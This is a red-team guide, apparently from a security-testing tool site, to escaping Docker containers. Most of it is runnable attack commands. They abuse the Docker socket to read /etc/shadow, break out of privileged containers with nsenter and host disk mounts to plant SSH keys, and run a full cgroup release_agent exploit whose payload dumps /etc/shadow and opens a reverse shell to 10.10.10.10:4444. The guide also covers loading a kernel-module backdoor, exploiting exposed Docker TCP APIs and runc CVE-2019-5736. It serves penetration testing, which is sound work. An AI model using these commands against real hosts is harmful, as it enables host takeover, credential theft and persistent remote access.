Docker Container Escape: Privileged Containers, Docker Socket, and cgroups Abuse
Container escapes are among the most impactful vulnerabilities a red teamer can find — what begins as code execution inside an isolated container ends with full control of the host. This guide covers every major Docker escape technique used in real penetration tests.
Detecting If You Are in a Container
| Technique | Requirement | CVE/Method | Difficulty | Detection |
|---|---|---|---|---|
| --privileged flag escape | Privileged container | Mount host filesystem | Easy | High |
| Docker socket mount | /var/run/docker.sock in container | Run privileged container | Easy | High |
| Capabilities abuse (SYS_PTRACE) | CAP_SYS_PTRACE | Inject into host process | Medium | Medium |
| Cgroup release_agent | Cgroup v1, privileged | Write to release_agent | Medium | Medium |
| Dirty Pipe (CVE-2022-0847) | Kernel 5.8-5.16 | Overwrite SUID binary | Hard | Low |
| runc CVE-2019-5736 | Unrestricted exec | Overwrite runc binary | Hard | Medium |
| Namespace escape (user ns) | User namespace enabled | userns-remap bypass | Hard | Low |
Container Escape Attack Timeline
Enumerate Container
Check id, env, mount, ls /.dockerenv, cat /proc/1/cgroup
Check Privileges
Run capsh --print, look for cap_sys_admin, check for --privileged
Docker Socket
Check ls -la /var/run/docker.sock, if exists: docker run -v /:/mnt -it ubuntu chroot /mnt
Privileged Mount
fdisk -l, find writable host mounts, access host filesystem via /proc/1/root
Post-Escape
On host: establish persistence, dump credentials from other containers
Before attempting an escape, confirm you're in a container and gather information:
# Check for .dockerenv file (always present in Docker containers)
ls -la /.dockerenv
# Check cgroup hierarchy
cat /proc/1/cgroup | head -5
# Docker containers show /docker/CONTAINERID in the cgroup path
# Check for container runtime markers
cat /proc/self/mountinfo | grep -i docker
cat /proc/self/mountinfo | grep -i overlay
# Check capabilities (higher = more privileged)
cat /proc/self/status | grep -i cap
# Full caps (0000003fffffffff) = privileged container
# hostname is often the container ID
hostname
# Check for mounted Docker socket
ls -la /var/run/docker.sock 2>/dev/null
# Environment variables may reveal cloud/orchestration context
env | grep -i "KUBERNETES\|ECS\|FARGATE\|AWS"
Docker Socket Escape
If /var/run/docker.sock is mounted inside the container, you can control the Docker daemon on the host and create a new privileged container mounting the host filesystem.
# Check if docker.sock is accessible
ls -la /var/run/docker.sock
curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool
# Option 1: Use docker CLI if available
docker -H unix:///var/run/docker.sock run --rm -it -v /:/host --privileged ubuntu:latest chroot /host bash
# Option 2: Via raw API call (no docker binary needed)
# Create container
curl -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image":"ubuntu","Cmd":["/bin/bash","-c","chroot /host bash -c "cat /etc/shadow""],"Binds":["/:/host"],"Privileged":true}' http://localhost/containers/create
# Start it and capture output
CONTAINER_ID=$(curl -s ... | python3 -c "import json,sys; print(json.load(sys.stdin)['Id'])")
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/$CONTAINER_ID/start
Privileged Container Escape via nsenter
A container running with --privileged has all Linux capabilities and can see all host devices. Escape by using nsenter to join the host's namespaces:
# Confirm privileged status
cat /proc/self/status | grep CapEff
# 0000003fffffffff = all capabilities
# Find the host's init process (PID 1 from the host's PID namespace)
# In a privileged container with hostPID, PID 1 is the host's init
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Without hostPID, mount host filesystem via /dev/sda (or appropriate disk)
fdisk -l # identify host disk
mkdir /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host bash
# Write SSH key to host
mkdir -p /tmp/host/root/.ssh
echo "SSH_PUBLIC_KEY" >> /tmp/host/root/.ssh/authorized_keys
cgroups v1 release_agent Technique
This is one of the most elegant container escapes. In cgroups v1, the release_agent file contains a path to a binary that executes on the host when a cgroup is emptied. If you can write to it (requires CAP_SYS_ADMIN or a privileged container), you get host code execution.
# Full exploit (run all commands inside the container):
# 1. Create a new cgroup hierarchy
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 2. Enable release notification for this cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# 3. Find the host path of our container filesystem
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1)
# 4. Set release_agent to our script (will run on HOST)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 5. Create the payload script inside the container (stored on host via overlay)
cat > /cmd << 'EOF'
#!/bin/sh
id > /tmp/cgrp/output
cat /etc/shadow >> /tmp/cgrp/output
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' &
EOF
chmod +x /cmd
# 6. Trigger release_agent by spawning and killing a process in the child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# 7. Read the output — executed as root on the HOST
cat /tmp/cgrp/output
CAP_SYS_ADMIN Abuse
Even without full --privileged, containers with CAP_SYS_ADMIN can mount filesystems, load kernel modules, and use the cgroups escape above:
# Check for CAP_SYS_ADMIN (bit 21 in CapEff)
grep CapEff /proc/self/status
# Decode: printf '%08x
' 0x$(grep CapEff /proc/self/status | awk '{print $2}')
# If bit 21 is set, you have SYS_ADMIN
# Mount host proc filesystem
mount -t proc none /proc
# Load a kernel module (backdoor)
insmod /tmp/backdoor.ko
Docker TCP API Exploitation (Port 2375)
Docker can be configured to listen on TCP without TLS (a severe misconfiguration). Port 2375 = unauthenticated, 2376 = TLS.
# Discover exposed Docker APIs
nmap -p 2375,2376 192.168.1.0/24
curl http://TARGET-IP:2375/version
# List containers on remote Docker host
docker -H tcp://TARGET-IP:2375 ps -a
# Escape to host via remote Docker API
docker -H tcp://TARGET-IP:2375 run --rm -it -v /:/host --privileged ubuntu:latest chroot /host bash
runc CVE-2019-5736
This vulnerability allows a malicious container image to overwrite the runc binary on the host during container execution. It affects Docker < 18.09.2, runc < 1.0-rc6.
# Check vulnerable runc version
docker version | grep -A5 "Server"
runc --version # vulnerable: < 1.0-rc6
# PoC: https://github.com/Frichetten/CVE-2019-5736-PoC
# The exploit overwrites /proc/self/exe (the runc binary) during docker exec
After escaping to the host, pivot into Kubernetes if the node is part of a cluster — see our Kubernetes Security Testing guide. Use the Cloud Infrastructure Attack Generator for container-to-cloud escalation chains. All privilege escalation paths apply to host access — review Lateral Movement Techniques for post-escape pivoting.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides